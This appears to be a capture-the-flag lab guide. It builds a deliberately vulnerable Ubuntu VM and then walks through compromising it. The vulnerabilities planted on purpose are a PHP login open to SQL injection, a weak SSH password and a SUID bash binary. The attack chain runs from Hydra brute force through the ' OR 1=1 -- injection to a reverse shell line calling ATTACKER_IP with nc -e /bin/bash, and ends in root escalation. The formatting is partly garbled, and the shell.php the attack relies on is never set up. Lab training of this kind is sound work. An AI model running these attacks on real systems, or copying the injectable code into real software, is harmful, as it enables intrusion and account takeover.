

■ Network Setup

Set static IP:

```
sudo nano /etc/netplan/00-installer-config.yaml
```

```
network:
```

```
  version: 2
```

```
  ethernets:
```

```
    enp0s3:
```

```
      dhcp4: no
```

```
      addresses: [192.168.56.10/24]
```

```
sudo netplan apply
```

■ Install Required Packages

```
sudo apt update
```

```
sudo apt install -y apache2 mysql-server php php-mysql php-curl php-json php-mbstring php-xml php-zip
```

■ Create Users

```
sudo useradd -m dev
```

```
echo "dev:password123" | sudo chpasswd
```

■ Web Directory Setup

```
sudo mkdir /var/www/html/shadowcorp
```

```
sudo chown -R www-data:www-data /var/www/html/shadowcorp
```

3■■ ■ Enumeration (Step 1 - Nmap)

```
nmap -sC -sV -p- 192.168.56.10
```

```
22/tcp → SSH
```

```
80/tcp → HTTP
```

4■■ ■ Challenge 1: Brute Force (Initial Access)

```
hydra -l dev -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.10
```

```
login: dev
```

```
password: password123
```

```
ssh dev@192.168.56.10
```

5■■ ■ Challenge 2: Web Exploitation (FLAG 1)

```
<?php
```

```
$conn = new mysqli("localhost", "root", "", "shadow");
```

```
$username = $_POST['username'];
```

```
$password = $_POST['password'];
```

```
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
```

```
$result = $conn->query($query);
```

```
if($result->num_rows > 0){
```

```
    echo "Welcome!";
```

```
} else {
```

```
    echo "Invalid login";
```

```
}
```

```
?>
```

Database:

```
CREATE DATABASE shadow;
```

```
USE shadow;
```

```
CREATE TABLE users (
```

```
    id INT AUTO_INCREMENT PRIMARY KEY,
```

```
    username VARCHAR(50),
```

```
    password VARCHAR(50)
```

```
);
```

```
INSERT INTO users VALUES (1, 'admin', 'admin123');
```

```
INSERT INTO users VALUES (2, 'user', 'user123');
```

```
INSERT INTO users VALUES (3, 'flag', 'FLAG{web_sql_injection_success}');
```

Exploit:

```
' OR 1=1 --
```

```
FLAG{web_sql_injection_success}
```

6■■ ■ Challenge 3: Cryptography (FLAG 2)

```
echo "RkxBR3tjcmlwdG9fZWZzeV9icmVhayEwfQ==" > /home/dev/secret.txt
```

```
cat /home/dev/secret.txt
```

```
base64 -d secret.txt
```

```
FLAG{crypto_easy_break!0}
```

7■■ ■ Reverse Shell

```
nc -lvnp 4444
```

```
shell.php?cmd=nc -e /bin/bash ATTACKER_IP 4444
```

8■■ ■ Privilege Escalation (FLAG 3)

```
sudo cp /bin/bash /home/dev/bash
```

```
sudo chmod +s /home/dev/bash
```

```
find / -perm -4000 2>/dev/null
```

```
/home/dev/bash -p
```

```
echo "FLAG{root_privilege_escalation}" | sudo tee /root/root.txt  
cat /root/root.txt
```

9■■ ■ Attack Chain Summary

Nmap → Hydra → SSH → SQLi → Base64 → Reverse Shell → SUID → Root

■■ ■ Full Walkthrough

```
nmap -sC -sV 192.168.56.10  
hydra -l dev -P rockyou.txt ssh://192.168.56.10  
ssh dev@192.168.56.10  
' OR 1=1 --  
cat /home/dev/secret.txt  
base64 -d secret.txt  
nc -lvnp 4444  
find / -perm -4000 2>/dev/null  
/home/dev/bash -p  
cat /root/root.txt
```